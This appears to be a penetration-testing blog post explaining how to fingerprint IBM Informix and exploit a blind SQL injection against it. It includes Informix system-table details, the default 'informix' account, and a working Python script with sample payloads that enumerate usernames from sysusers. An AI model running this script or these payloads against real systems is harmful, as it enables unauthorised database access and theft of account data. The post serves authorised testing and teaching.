IBM Informix – Building a proof of concept for blind SQL Injections

IBM Informix – Building a proof of concept for blind SQL Injections

Introduction 

IBM® Informix® is a database management system specialising in high-speed transactional environments. An Informix feature called TimeSeries provides a non-standard SQL data type and allows for data to be manipulated at high volumes and speeds. As a result, Informix is often seen within the financial and trading industries which need to quickly store data at regular time intervals, or “ticks”. 

This blog outlines how a blind SQL injection was escalated during a penetration test of a system using Informix in a high-speed transactional environment. The purpose of this blog is to help authorised penetration testers develop a proof of concept or for those relying on SQLmap as it was unable to automate the injection.  

The Informix database uses its own implementation of SQL. You can find the full documentation on the IBM website. The following sections introduce Informix and how it is looks internally. 

System databases and tables 

The Informix internal databases contain some very useful information, including a catalog of databases, tables, and user accounts. By default, database users with the lowest level of privileges are given read access to the majority of these tables. 

Sysmaster database 

A list of all the tables in the “sysmaster” database can be found on the IBM website. Some interesting ones to note include “sysmaster:sysdatabases”, showing all the databases in the system and “sysmaster:sysdual”, which contains a single character “X”. This is very useful during blind SQL injection testing or developing a proof of concept. 

System catalog tables 

Within each database, there is a set of system catalog tables. The full list of system catalog tables can be found on the IBM website. It’s worth noting “systables”, which contains information about all the tables in the database, and “sysusers” providing a list of all user accounts and their privileges. 

User roles and access permissions 

The default DBA user created upon installation is called “informix:informix”. If you are working with an older installation, note that earlier versions of Informix did not require a password to be set during installation. 

Some common user roles include: 

  • DBA role has all privileges 
  • Resource role can create User Defined Routines (UDRs), User Defined Types (UDTs), permanent tables, and indexes 
  • Connect role is the lowest privilege user role. Applications and service accounts are most likely assigned this role 

For more details, see the “sysusers” table in the System catalog tables. 

SQL Injection 

Detection & Basic commands 

The Informix injection was discovered by testing common concatenation operators in a search query, and it was found that the following queries returned the same result: 

test 
te' || 'st 
CONCAT('te','st') 

 

These would translate to something like this: 

SELECT 'test' from tablename; 
SELECT 'te' || 'st' from tablename; 
SELECT CONCAT('te','st') from tablename; 

 

Since the || operator is unique to Informix, this was sufficient to fingerprint the database being used. 

Blind SQL Injection 

A big difference between Informix and other dialects of SQL is that string comparisons cannot be carried out with the equals (=) operator, so we needed to find a different way to compare strings. 

Thanks to this blog by F-Secure, we found that the technique of using SUBSTRING() and ASCII() made it possible to compare strings one character at a time, and from this, we were able to create our blind SQL injection payload. 

Another quirk we discovered was that Informix strings in our target environment all ended with a space character (ascii 20). 

When developing a proof of concept, it is very useful to know how Informix comments, subqueries and substrings work. 

Comments 

Informix uses the following comment symbols: 

  • Double hyphen for single line comments (–) 
  • Braces for single or multiline comments ({ }) 
  • Slashterisk for single or multiline comments (/* */) 

Subqueries 

Informix supports subqueries in SELECT, INSERT, DELETE and UPDATE statements. 

Substrings 

The following is an example of a SUBSTRING in a SELECT query: 

SELECT SUBSTRING('foobar' FROM 3 FOR 3); 
> 'bar' 

SELECT ASCII('a'); 
> 97 

 

Scripting 

To automate the injection, we wrote a simple python script using the requests library. We also used Burp Suite’s proxy to debug requests. The following snippet of code can be used to find one username from the “sysusers” table, and can be easily adapted to enumerate any table in the database: 

import urllib3 
import requests 
 
url = 'URL' 
data = {'username': ''} 
 
# Burp Proxy 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 
PROXIES = {'http': 'http://localhost:8080', 
           'https': 'http://localhost:8080'} 
 
printable = 'etaoinshrldcumwfgypbvkjxqzETAOINSHRLDCUMWFGYPBVKJXQZ_.-0123456789 !"#$%&\'()*+,/:;<=>?@[\\]^`{|}~' 
i = 0 
name = '' 
known = '1=1' 
while not name or name[-1] != ' ': 
    test = f'ASCII(SUBSTRING(username FROM {str(len(name)+1)} FOR 1))={str(ord(printable[i]))}' 
    template = f"(SELECT COUNT(*) FROM sysusers WHERE {known+' AND '+test}) > 0" 
    data['username'] = f"test' AND ({template})--" 
    r = requests.post(url, data=data, proxies=PROXIES, verify=False) 
    if r == 'truth_condition': # this was matching the result returned by "test" 
        name += printable[i] 
        known = known+' AND '+test 
        i = 0 
    else: 
        i += 1 
print(name) 
 

This would generate payloads in the following form: 

"test' AND ((SELECT COUNT(*) FROM sysusers WHERE 1=1 AND ASCII(SUBSTRING(username FROM 1 FOR 1))=101) > 0)--" 
 

We hope these examples help you to confirm Informix installations and develop proof of concept injections on your projects.  

References 

  • The Database Hacker’s Handbook  by David Litchfield, Chris Anley, John Heasman and Bill Grindlay
  • F-Secure blog post 
  • Pentestmonkey cheat sheet